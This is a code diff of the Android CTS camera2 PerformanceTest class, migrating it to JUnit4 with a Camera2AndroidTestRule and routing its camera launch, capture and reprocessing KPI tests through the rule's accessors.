import java.util.ArrayList;
import java.util.Arrays;
@@ -71,7 +75,8 @@
* Test camera2 API use case performance KPIs, such as camera open time, session creation time,
* shutter lag etc. The KPI data will be reported in cts results.
*/
-public class PerformanceTest extends Camera2AndroidTestCase {
+@RunWith(JUnit4.class)
+public class PerformanceTest {
private static final String TAG = "PerformanceTest";
private static final String REPORT_LOG_NAME = "CtsCameraTestCases";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -102,21 +107,15 @@
private ImageWriter mWriter;
private SimpleCaptureCallback mZslResultListener;
- private Instrumentation mInstrumentation;
-
private Surface mPreviewSurface;
private SurfaceTexture mPreviewSurfaceTexture;
- @Override
- public void setUp() throws Exception {
- super.setUp();
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- }
+ private static final Instrumentation mInstrumentation =
+ InstrumentationRegistry.getInstrumentation();
+ private static final Context mContext = InstrumentationRegistry.getTargetContext();
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
- }
+ @Rule
+ public final Camera2AndroidTestRule mTestRule = new Camera2AndroidTestRule(mContext);
/**
* Test camera launch KPI: the time duration between a camera device is
@@ -132,11 +131,12 @@
* For depth-only devices, timing is done with the DEPTH16 format instead.
* </p>
*/
+ @Test
public void testCameraLaunch() throws Exception {
- double[] avgCameraLaunchTimes = new double[mCameraIds.length];
+ double[] avgCameraLaunchTimes = new double[mTestRule.getCameraIdsUnderTest().length];
int counter = 0;
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
// Do NOT move these variables to outer scope
// They will be passed to DeviceReportLog and their references will be stored
String streamName = "test_camera_launch";
@@ -149,12 +149,13 @@
double[] cameraCloseTimes = new double[NUM_TEST_LOOPS];
double[] cameraLaunchTimes = new double[NUM_TEST_LOOPS];
try {
- mStaticInfo = new StaticMetadata(mCameraManager.getCameraCharacteristics(id));
- if (mStaticInfo.isColorOutputSupported()) {
+ mTestRule.setStaticInfo(new StaticMetadata(
+ mTestRule.getCameraManager().getCameraCharacteristics(id)));
+ if (mTestRule.getStaticInfo().isColorOutputSupported()) {
initializeImageReader(id, ImageFormat.YUV_420_888);
} else {
assertTrue("Depth output must be supported if regular output isn't!",
- mStaticInfo.isDepthOutputSupported());
+ mTestRule.getStaticInfo().isDepthOutputSupported());
initializeImageReader(id, ImageFormat.DEPTH16);
}
@@ -165,7 +166,8 @@
// Need create a new listener every iteration to be able to wait
// for the first image comes out.
imageListener = new SimpleImageListener();
- mReader.setOnImageAvailableListener(imageListener, mHandler);
+ mTestRule.getReader().setOnImageAvailableListener(
+ imageListener, mTestRule.getHandler());
startTimeMs = SystemClock.elapsedRealtime();
// Blocking open camera
@@ -198,7 +200,7 @@
finally {
// Blocking camera close
startTimeMs = SystemClock.elapsedRealtime();
- closeDevice(id);
+ mTestRule.closeDevice(id);
cameraCloseTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
}
}
@@ -220,7 +222,7 @@
ResultType.LOWER_BETTER, ResultUnit.MS);
}
finally {
- closeDefaultImageReader();
+ mTestRule.closeDefaultImageReader();
closePreviewSurface();
}
counter++;
@@ -259,7 +261,7 @@
+ ". Max(ms): " + Stat.getMax(cameraLaunchTimes));
}
}
- if (mCameraIds.length != 0) {
+ if (mTestRule.getCameraIdsUnderTest().length != 0) {
String streamName = "test_camera_launch_average";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.setSummary("camera_launch_average_time_for_all_cameras",
@@ -281,6 +283,7 @@
* out the capture request and getting the full capture result.
* </p>
*/
+ @Test
public void testSingleCapture() throws Exception {
int[] YUV_FORMAT = {ImageFormat.YUV_420_888};
testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ false);
@@ -309,10 +312,10 @@
private void testSingleCaptureForFormat(int[] formats, String formatDescription,
boolean addPreviewDelay) throws Exception {
- double[] avgResultTimes = new double[mCameraIds.length];
+ double[] avgResultTimes = new double[mTestRule.getCameraIdsUnderTest().length];
int counter = 0;
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
// Do NOT move these variables to outer scope
// They will be passed to DeviceReportLog and their references will be stored
String streamName = appendFormatDescription("test_single_capture", formatDescription);
@@ -323,12 +326,13 @@
double[] getResultTimes = new double[NUM_TEST_LOOPS];
ImageReader[] readers = null;
try {
- if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
+ if (!mTestRule.getAllStaticInfo().get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
continue;
}
- StreamConfigurationMap configMap = mAllStaticInfo.get(id).getCharacteristics().get(
+ StreamConfigurationMap configMap = mTestRule.getAllStaticInfo().get(
+ id).getCharacteristics().get(
CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
boolean formatsSupported = true;
for (int format : formats) {
@@ -343,18 +347,20 @@
continue;
}
- openDevice(id);
+ mTestRule.openDevice(id);
- boolean partialsExpected = mStaticInfo.getPartialResultCount() > 1;
+ boolean partialsExpected = mTestRule.getStaticInfo().getPartialResultCount() > 1;
long startTimeMs;
boolean isPartialTimingValid = partialsExpected;
for (int i = 0; i < NUM_TEST_LOOPS; i++) {
// setup builders and listeners
CaptureRequest.Builder previewBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ mTestRule.getCamera().createCaptureRequest(
+ CameraDevice.TEMPLATE_PREVIEW);
CaptureRequest.Builder captureBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+ mTestRule.getCamera().createCaptureRequest(
+ CameraDevice.TEMPLATE_STILL_CAPTURE);
SimpleCaptureCallback previewResultListener =
new SimpleCaptureCallback();
SimpleTimingResultListener captureResultListener =
@@ -363,12 +369,15 @@
Size[] imageSizes = new Size[formats.length];
for (int j = 0; j < formats.length; j++) {
imageSizes[j] = CameraTestUtils.getSortedSizesForFormat(
- id, mCameraManager, formats[j], /*bound*/null).get(0);
+ id,
+ mTestRule.getCameraManager(),
+ formats[j],
+ /*bound*/null).get(0);
imageListeners[j] = new SimpleImageListener();
}
readers = prepareStillCaptureAndStartPreview(previewBuilder, captureBuilder,
- mOrderedPreviewSizes.get(0), imageSizes, formats,
+ mTestRule.getOrderedPreviewSizes().get(0), imageSizes, formats,
previewResultListener, NUM_MAX_IMAGES, imageListeners,
false /*isHeic*/);
@@ -379,12 +388,13 @@
// Capture an image and get image data
startTimeMs = SystemClock.elapsedRealtime();
CaptureRequest request = captureBuilder.build();
- mCameraSession.capture(request, captureResultListener, mHandler);
+ mTestRule.getCameraSession().capture(
+ request, captureResultListener, mTestRule.getHandler());
Pair<CaptureResult, Long> partialResultNTime = null;
if (partialsExpected) {
partialResultNTime = captureResultListener.getPartialResultNTimeForRequest(
- request, NUM_RESULTS_WAIT);
+ request, NUM_RESULTS_WAIT);
// Even if maxPartials > 1, may not see partials for some devices
if (partialResultNTime == null) {
partialsExpected = false;
@@ -440,7 +450,7 @@
finally {
CameraTestUtils.closeImageReaders(readers);
readers = null;
- closeDevice(id);
+ mTestRule.closeDevice(id);
closePreviewSurface();
}
counter++;
@@ -448,7 +458,7 @@
}
// Result will not be reported in CTS report if no summary is printed.
- if (mCameraIds.length != 0) {
+ if (mTestRule.getCameraIdsUnderTest().length != 0) {
String streamName = appendFormatDescription("test_single_capture_average",
formatDescription);
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
@@ -469,9 +479,10 @@
* gap between results.
* </p>
*/
+ @Test
public void testMultipleCapture() throws Exception {
- double[] avgResultTimes = new double[mCameraIds.length];
- double[] avgDurationMs = new double[mCameraIds.length];
+ double[] avgResultTimes = new double[mTestRule.getCameraIdsUnderTest().length];
+ double[] avgDurationMs = new double[mTestRule.getCameraIdsUnderTest().length];
// A simple CaptureSession StateCallback to handle onCaptureQueueEmpty
class MultipleCaptureStateCallback extends CameraCaptureSession.StateCallback {
@@ -493,7 +504,7 @@
captureQueueEmptied++;
if (VERBOSE) {
Log.v(TAG, "onCaptureQueueEmpty received. captureQueueEmptied = "
- + captureQueueEmptied);
+ + captureQueueEmptied);
}
captureQueueEmptyCond.open();
@@ -512,7 +523,7 @@
captureQueueEmptied = 0;
} else {
throw new TimeoutRuntimeException("Unable to receive onCaptureQueueEmpty after "
- + timeout + "ms");
+ + timeout + "ms");
}
}
}
@@ -520,7 +531,7 @@
final MultipleCaptureStateCallback sessionListener = new MultipleCaptureStateCallback();
int counter = 0;
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
// Do NOT move these variables to outer scope
// They will be passed to DeviceReportLog and their references will be stored
String streamName = "test_multiple_capture";
@@ -530,19 +541,21 @@
double[] getResultTimes = new double[NUM_MAX_IMAGES];
double[] frameDurationMs = new double[NUM_MAX_IMAGES-1];
try {
- if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
+ if (!mTestRule.getAllStaticInfo().get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
continue;
}
- openDevice(id);
+ mTestRule.openDevice(id);
for (int i = 0; i < NUM_TEST_LOOPS; i++) {
// setup builders and listeners
CaptureRequest.Builder previewBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ mTestRule.getCamera().createCaptureRequest(
+ CameraDevice.TEMPLATE_PREVIEW);
CaptureRequest.Builder captureBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+ mTestRule.getCamera().createCaptureRequest(
+ CameraDevice.TEMPLATE_STILL_CAPTURE);
SimpleCaptureCallback previewResultListener =
new SimpleCaptureCallback();
SimpleTimingResultListener captureResultListener =
@@ -551,37 +564,39 @@
new SimpleImageReaderListener(/*asyncMode*/true, NUM_MAX_IMAGES);
Size maxYuvSize = CameraTestUtils.getSortedSizesForFormat(
- id, mCameraManager, ImageFormat.YUV_420_888, /*bound*/null).get(0);
+ id, mTestRule.getCameraManager(),
+ ImageFormat.YUV_420_888, /*bound*/null).get(0);
// Find minimum frame duration for YUV_420_888
- StreamConfigurationMap config = mStaticInfo.getCharacteristics().get(
+ StreamConfigurationMap config =
+ mTestRule.getStaticInfo().getCharacteristics().get(
CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
final long minStillFrameDuration =
config.getOutputMinFrameDuration(ImageFormat.YUV_420_888, maxYuvSize);
if (minStillFrameDuration > 0) {
Range<Integer> targetRange =
- CameraTestUtils.getSuitableFpsRangeForDuration(id,
- minStillFrameDuration, mStaticInfo);
+ CameraTestUtils.getSuitableFpsRangeForDuration(id,
+ minStillFrameDuration, mTestRule.getStaticInfo());
previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
captureBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
}
prepareCaptureAndStartPreview(previewBuilder, captureBuilder,
- mOrderedPreviewSizes.get(0), maxYuvSize,
+ mTestRule.getOrderedPreviewSizes().get(0), maxYuvSize,
ImageFormat.YUV_420_888, previewResultListener,
sessionListener, NUM_MAX_IMAGES, imageListener);
// Converge AE
CameraTestUtils.waitForAeStable(previewResultListener,
- NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY, mStaticInfo,
+ NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY, mTestRule.getStaticInfo(),
WAIT_FOR_RESULT_TIMEOUT_MS, NUM_RESULTS_WAIT_TIMEOUT);
- if (mStaticInfo.isAeLockSupported()) {
+ if (mTestRule.getStaticInfo().isAeLockSupported()) {
// Lock AE if possible to improve stability
previewBuilder.set(CaptureRequest.CONTROL_AE_LOCK, true);
- mCameraSession.setRepeatingRequest(previewBuilder.build(),
- previewResultListener, mHandler);
- if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
+ mTestRule.getCameraSession().setRepeatingRequest(previewBuilder.build(),
+ previewResultListener, mTestRule.getHandler());
+ if (mTestRule.getStaticInfo().isHardwareLevelAtLeastLimited()) {
// Legacy mode doesn't output AE state
CameraTestUtils.waitForResultValue(previewResultListener,
CaptureResult.CONTROL_AE_STATE,
@@ -596,7 +611,8 @@
// Capture an image and get image data
startTimes[j] = SystemClock.elapsedRealtime();
CaptureRequest request = captureBuilder.build();
- mCameraSession.capture(request, captureResultListener, mHandler);
+ mTestRule.getCameraSession().capture(
+ request, captureResultListener, mTestRule.getHandler());
// Wait for capture queue empty for the current request
sessionListener.waitForCaptureQueueEmpty(
@@ -614,10 +630,12 @@
(double)(captureResultNTime.second - startTimes[j])/NUM_TEST_LOOPS;
// Collect inter-frame timestamp
- long timestamp = captureResultNTime.first.get(CaptureResult.SENSOR_TIMESTAMP);
+ long timestamp = captureResultNTime.first.get(
+ CaptureResult.SENSOR_TIMESTAMP);
if (prevTimestamp != -1) {
frameDurationMs[j-1] +=
- (double)(timestamp - prevTimestamp)/(NUM_TEST_LOOPS * 1000000.0);
+ (double)(timestamp - prevTimestamp)/(
+ NUM_TEST_LOOPS * 1000000.0);
}
prevTimestamp = timestamp;
}
@@ -648,8 +666,8 @@
avgDurationMs[counter] = Stat.getAverage(frameDurationMs);
}
finally {
- closeDefaultImageReader();
- closeDevice(id);
+ mTestRule.closeDefaultImageReader();
+ mTestRule.closeDevice(id);
closePreviewSurface();
}
counter++;
@@ -657,7 +675,7 @@
}
// Result will not be reported in CTS report if no summary is printed.
- if (mCameraIds.length != 0) {
+ if (mTestRule.getCameraIdsUnderTest().length != 0) {
String streamName = "test_multiple_capture_average";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.setSummary("camera_multiple_capture_result_average_latency_for_all_cameras",
@@ -674,15 +692,16 @@
* Test reprocessing shot-to-shot latency with default NR and edge options, i.e., from the time
* a reprocess request is issued to the time the reprocess image is returned.
*/
+ @Test
public void testReprocessingLatency() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
for (int format : REPROCESS_FORMATS) {
if (!isReprocessSupported(id, format)) {
continue;
}
try {
- openDevice(id);
+ mTestRule.openDevice(id);
String streamName = "test_reprocessing_latency";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.addValue("camera_id", id, ResultType.NEUTRAL, ResultUnit.NONE);
@@ -691,7 +710,7 @@
/*highQuality*/false);
} finally {
closeReaderWriters();
- closeDevice(id);
+ mTestRule.closeDevice(id);
closePreviewSurface();
mReportLog.submit(mInstrumentation);
}
@@ -700,19 +719,20 @@
}
/**
- * Test reprocessing throughput with default NR and edge options, i.e., how many frames can be reprocessed
- * during a given amount of time.
+ * Test reprocessing throughput with default NR and edge options,
+ * i.e., how many frames can be reprocessed during a given amount of time.
*
*/
+ @Test
public void testReprocessingThroughput() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
for (int format : REPROCESS_FORMATS) {
if (!isReprocessSupported(id, format)) {
continue;
}
try {
- openDevice(id);
+ mTestRule.openDevice(id);
String streamName = "test_reprocessing_throughput";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.addValue("camera_id", id, ResultType.NEUTRAL, ResultUnit.NONE);
@@ -721,7 +741,7 @@
/*highQuality*/false);
} finally {
closeReaderWriters();
- closeDevice(id);
+ mTestRule.closeDevice(id);
closePreviewSurface();
mReportLog.submit(mInstrumentation);
}
@@ -733,15 +753,16 @@
* Test reprocessing shot-to-shot latency with High Quality NR and edge options, i.e., from the
* time a reprocess request is issued to the time the reprocess image is returned.
*/
+ @Test
public void testHighQualityReprocessingLatency() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
for (int format : REPROCESS_FORMATS) {
if (!isReprocessSupported(id, format)) {
continue;
}
try {
- openDevice(id);
+ mTestRule.openDevice(id);
String streamName = "test_high_quality_reprocessing_latency";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.addValue("camera_id", id, ResultType.NEUTRAL, ResultUnit.NONE);
@@ -750,7 +771,7 @@
/*requireHighQuality*/true);
} finally {
closeReaderWriters();
- closeDevice(id);
+ mTestRule.closeDevice(id);
closePreviewSurface();
mReportLog.submit(mInstrumentation);
}
@@ -763,15 +784,16 @@
* be reprocessed during a given amount of time.
*
*/
+ @Test
public void testHighQualityReprocessingThroughput() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
for (int format : REPROCESS_FORMATS) {
if (!isReprocessSupported(id, format)) {
continue;
}
try {
- openDevice(id);
+ mTestRule.openDevice(id);
String streamName = "test_high_quality_reprocessing_throughput";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.addValue("camera_id", id, ResultType.NEUTRAL, ResultUnit.NONE);
@@ -780,7 +802,7 @@
/*requireHighQuality*/true);
} finally {
closeReaderWriters();
- closeDevice(id);
+ mTestRule.closeDevice(id);
closePreviewSurface();
mReportLog.submit(mInstrumentation);
}
@@ -791,15 +813,16 @@
/**
* Testing reprocessing caused preview stall (frame drops)
*/
+ @Test
public void testReprocessingCaptureStall() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mTestRule.getCameraIdsUnderTest()) {
for (int format : REPROCESS_FORMATS) {
if (!isReprocessSupported(id, format)) {
continue;
}
try {
- openDevice(id);
+ mTestRule.openDevice(id);
String streamName = "test_reprocessing_capture_stall";
mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
mReportLog.addValue("camera_id", id, ResultType.NEUTRAL, ResultUnit.NONE);
@@ -807,7 +830,7 @@
reprocessingCaptureStallTestByCamera(format);
} finally {
closeReaderWriters();
- closeDevice(id);
+ mTestRule.closeDevice(id);
closePreviewSurface();
mReportLog.submit(mInstrumentation);
}
@@ -832,7 +855,7 @@
TotalCaptureResult zslResult =
mZslResultListener.getCaptureResult(
WAIT_FOR_RESULT_TIMEOUT_MS, inputImages[i].getTimestamp());
- reprocessReqs[i] = mCamera.createReprocessCaptureRequest(zslResult);
+ reprocessReqs[i] = mTestRule.getCamera().createReprocessCaptureRequest(zslResult);
reprocessReqs[i].addTarget(mJpegReader.getSurface());
reprocessReqs[i].set(CaptureRequest.NOISE_REDUCTION_MODE,
CaptureRequest.NOISE_REDUCTION_MODE_HIGH_QUALITY);
@@ -849,14 +872,15 @@
for (int i = 0; i < NUM_REPROCESS_TESTED; i++) {
mZslResultListener.drain();
CaptureRequest reprocessRequest = reprocessReqs[i].build();
- mCameraSession.capture(reprocessRequest, reprocessResultListener, mHandler);
+ mTestRule.getCameraSession().capture(
+ reprocessRequest, reprocessResultListener, mTestRule.getHandler());
// Wait for reprocess output jpeg and result come back.
reprocessResultListener.getCaptureResultForRequest(reprocessRequest,
CameraTestUtils.CAPTURE_RESULT_TIMEOUT_MS);
mJpegListener.getImage(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS).close();
long numFramesMaybeStalled = mZslResultListener.getTotalNumFrames();
assertTrue("Reprocess capture result should be returned in "
- + MAX_REPROCESS_RETURN_FRAME_COUNT + " frames",
+ + MAX_REPROCESS_RETURN_FRAME_COUNT + " frames",
numFramesMaybeStalled <= MAX_REPROCESS_RETURN_FRAME_COUNT);
// Need look longer time, as the stutter could happen after the reprocessing
@@ -910,7 +934,7 @@
// The max timestamp gap should be less than (captureStall + 1) x average frame
// duration * (1 + error margin).
- int maxCaptureStallFrames = mStaticInfo.getMaxCaptureStallOrDefault();
+ int maxCaptureStallFrames = mTestRule.getStaticInfo().getMaxCaptureStallOrDefault();
for (int i = 0; i < maxCaptureGapsMs.length; i++) {
double stallDurationBound = averageFrameDurationMs[i] *
(maxCaptureStallFrames + 1) * (1 + REPROCESS_STALL_MARGIN);
@@ -939,7 +963,7 @@
TotalCaptureResult zslResult =
mZslResultListener.getCaptureResult(
WAIT_FOR_RESULT_TIMEOUT_MS, inputImages[i].getTimestamp());
- reprocessReqs[i] = mCamera.createReprocessCaptureRequest(zslResult);
+ reprocessReqs[i] = mTestRule.getCamera().createReprocessCaptureRequest(zslResult);
if (requireHighQuality) {
// Reprocessing should support high quality for NR and edge modes.
reprocessReqs[i].set(CaptureRequest.NOISE_REDUCTION_MODE,
@@ -960,7 +984,7 @@
// Submit the requests
for (int i = 0; i < MAX_REPROCESS_IMAGES; i++) {
- mCameraSession.capture(reprocessReqs[i].build(), null, null);
+ mTestRule.getCameraSession().capture(reprocessReqs[i].build(), null, null);
}
// Get images
@@ -982,7 +1006,7 @@
for (int i = 0; i < MAX_REPROCESS_IMAGES; i++) {
startTimeMs = SystemClock.elapsedRealtime();
mWriter.queueInputImage(inputImages[i]);
- mCameraSession.capture(reprocessReqs[i].build(), null, null);
+ mTestRule.getCameraSession().capture(reprocessReqs[i].build(), null, null);
jpegImages[i] = mJpegListener.getImage(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
getImageLatenciesMs[i] = SystemClock.elapsedRealtime() - startTimeMs;
}
@@ -1034,16 +1058,17 @@
*/
private void startZslStreaming() throws Exception {
CaptureRequest.Builder zslBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
+ mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
zslBuilder.addTarget(mPreviewSurface);
zslBuilder.addTarget(mCameraZslReader.getSurface());
- mCameraSession.setRepeatingRequest(zslBuilder.build(), mZslResultListener, mHandler);
+ mTestRule.getCameraSession().setRepeatingRequest(
+ zslBuilder.build(), mZslResultListener, mTestRule.getHandler());
}
private void stopZslStreaming() throws Exception {
- mCameraSession.stopRepeating();
- mCameraSessionListener.getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
+ mTestRule.getCameraSession().stopRepeating();
+ mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
+ BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
}
/**
@@ -1076,14 +1101,14 @@
}
private void prepareReprocessCapture(int inputFormat)
- throws CameraAccessException {
+ throws CameraAccessException {
// 1. Find the right preview and capture sizes.
- Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+ Size maxPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
Size[] supportedInputSizes =
- mStaticInfo.getAvailableSizesForFormatChecked(inputFormat,
- StaticMetadata.StreamDirection.Input);
+ mTestRule.getStaticInfo().getAvailableSizesForFormatChecked(inputFormat,
+ StaticMetadata.StreamDirection.Input);
Size maxInputSize = CameraTestUtils.getMaxSize(supportedInputSizes);
- Size maxJpegSize = mOrderedStillSizes.get(0);
+ Size maxJpegSize = mTestRule.getOrderedStillSizes().get(0);
updatePreviewSurface(maxPreviewSize);
mZslResultListener = new SimpleCaptureCallback();
@@ -1092,11 +1117,13 @@
mCameraZslImageListener = new SimpleImageReaderListener(
/*asyncMode*/true, MAX_ZSL_IMAGES - MAX_REPROCESS_IMAGES);
mCameraZslReader = CameraTestUtils.makeImageReader(
- maxInputSize, inputFormat, MAX_ZSL_IMAGES, mCameraZslImageListener, mHandler);
+ maxInputSize, inputFormat, MAX_ZSL_IMAGES,
+ mCameraZslImageListener, mTestRule.getHandler());
// Jpeg reprocess output
mJpegListener = new SimpleImageReaderListener();
mJpegReader = CameraTestUtils.makeImageReader(
- maxJpegSize, ImageFormat.JPEG, MAX_JPEG_IMAGES, mJpegListener, mHandler);
+ maxJpegSize, ImageFormat.JPEG, MAX_JPEG_IMAGES,
+ mJpegListener, mTestRule.getHandler());
// create camera reprocess session
List<Surface> outSurfaces = new ArrayList<Surface>();
@@ -1105,35 +1132,37 @@
outSurfaces.add(mJpegReader.getSurface());
InputConfiguration inputConfig = new InputConfiguration(maxInputSize.getWidth(),
maxInputSize.getHeight(), inputFormat);
- mCameraSessionListener = new BlockingSessionCallback();
- mCameraSession = CameraTestUtils.configureReprocessableCameraSession(
- mCamera, inputConfig, outSurfaces, mCameraSessionListener, mHandler);
+ mTestRule.setCameraSessionListener(new BlockingSessionCallback());
+ mTestRule.setCameraSession(CameraTestUtils.configureReprocessableCameraSession(
+ mTestRule.getCamera(), inputConfig, outSurfaces,
+ mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
// 3. Create ImageWriter for input
mWriter = CameraTestUtils.makeImageWriter(
- mCameraSession.getInputSurface(), MAX_INPUT_IMAGES, /*listener*/null, /*handler*/null);
-
+ mTestRule.getCameraSession().getInputSurface(), MAX_INPUT_IMAGES,
+ /*listener*/null, /*handler*/null);
}
private void blockingStopPreview() throws Exception {
stopPreview();
- mCameraSessionListener.getStateWaiter().waitForState(SESSION_CLOSED,
- CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
+ mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
+ BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
}
private void blockingStartPreview(CaptureCallback listener, SimpleImageListener imageListener)
throws Exception {
- if (mPreviewSurface == null || mReaderSurface == null) {
+ if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
throw new IllegalStateException("preview and reader surface must be initilized first");
}
CaptureRequest.Builder previewBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
- if (mStaticInfo.isColorOutputSupported()) {
+ mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ if (mTestRule.getStaticInfo().isColorOutputSupported()) {
previewBuilder.addTarget(mPreviewSurface);
}
- previewBuilder.addTarget(mReaderSurface);
- mCameraSession.setRepeatingRequest(previewBuilder.build(), listener, mHandler);
+ previewBuilder.addTarget(mTestRule.getReaderSurface());
+ mTestRule.getCameraSession().setRepeatingRequest(
+ previewBuilder.build(), listener, mTestRule.getHandler());
imageListener.waitForImageAvailable(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
}
@@ -1176,13 +1205,14 @@
outputSurfaces.add(mPreviewSurface);
for (int i = 0; i < captureSizes.length; i++) {
readers[i] = CameraTestUtils.makeImageReader(captureSizes[i], formats[i], maxNumImages,
- imageListeners[i], mHandler);
+ imageListeners[i], mTestRule.getHandler());
outputSurfaces.add(readers[i].getSurface());
}
- mCameraSessionListener = new BlockingSessionCallback();
- mCameraSession = CameraTestUtils.configureCameraSession(mCamera, outputSurfaces,
- mCameraSessionListener, mHandler);
+ mTestRule.setCameraSessionListener(new BlockingSessionCallback());
+ mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
+ mTestRule.getCamera(), outputSurfaces,
+ mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
// Configure the requests.
previewRequest.addTarget(mPreviewSurface);
@@ -1192,7 +1222,8 @@
}
// Start preview.
- mCameraSession.setRepeatingRequest(previewRequest.build(), resultListener, mHandler);
+ mTestRule.getCameraSession().setRepeatingRequest(
+ previewRequest.build(), resultListener, mTestRule.getHandler());
return readers;
}
@@ -1227,27 +1258,29 @@
updatePreviewSurface(previewSz);
// Create ImageReader.
- createDefaultImageReader(captureSz, format, maxNumImages, imageListener);
+ mTestRule.createDefaultImageReader(captureSz, format, maxNumImages, imageListener);
// Configure output streams with preview and jpeg streams.
List<Surface> outputSurfaces = new ArrayList<Surface>();
outputSurfaces.add(mPreviewSurface);
- outputSurfaces.add(mReaderSurface);
+ outputSurfaces.add(mTestRule.getReaderSurface());
if (sessionListener == null) {
- mCameraSessionListener = new BlockingSessionCallback();
+ mTestRule.setCameraSessionListener(new BlockingSessionCallback());
} else {
- mCameraSessionListener = new BlockingSessionCallback(sessionListener);
+ mTestRule.setCameraSessionListener(new BlockingSessionCallback(sessionListener));
}
- mCameraSession = CameraTestUtils.configureCameraSession(mCamera, outputSurfaces,
- mCameraSessionListener, mHandler);
+ mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
+ mTestRule.getCamera(), outputSurfaces,
+ mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
// Configure the requests.
previewRequest.addTarget(mPreviewSurface);
stillRequest.addTarget(mPreviewSurface);
- stillRequest.addTarget(mReaderSurface);
+ stillRequest.addTarget(mTestRule.getReaderSurface());
// Start preview.
- mCameraSession.setRepeatingRequest(previewRequest.build(), resultListener, mHandler);
+ mTestRule.getCameraSession().setRepeatingRequest(
+ previewRequest.build(), resultListener, mTestRule.getHandler());
}
/**
@@ -1288,7 +1321,7 @@
}
StaticMetadata info = new StaticMetadata(
- mCameraManager.getCameraCharacteristics(cameraId), CheckLevel.ASSERT,
+ mTestRule.getCameraManager().getCameraCharacteristics(cameraId), CheckLevel.ASSERT,
/*collector*/ null);
int cap = CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING;
if (format == ImageFormat.PRIVATE) {
@@ -1303,9 +1336,9 @@
*/
private void stopPreview() throws Exception {
// Stop repeat, wait for captures to complete, and disconnect from surfaces
- if (mCameraSession != null) {
+ if (mTestRule.getCameraSession() != null) {
if (VERBOSE) Log.v(TAG, "Stopping preview");
- mCameraSession.close();
+ mTestRule.getCameraSession().close();
}
}
@@ -1315,10 +1348,10 @@
*/
private void stopPreviewAndDrain() throws Exception {
// Stop repeat, wait for captures to complete, and disconnect from surfaces
- if (mCameraSession != null) {
+ if (mTestRule.getCameraSession() != null) {
if (VERBOSE) Log.v(TAG, "Stopping preview and waiting for idle");
- mCameraSession.close();
- mCameraSessionListener.getStateWaiter().waitForState(
+ mTestRule.getCameraSession().close();
+ mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
BlockingSessionCallback.SESSION_CLOSED,
/*timeoutMs*/WAIT_FOR_RESULT_TIMEOUT_MS);
}
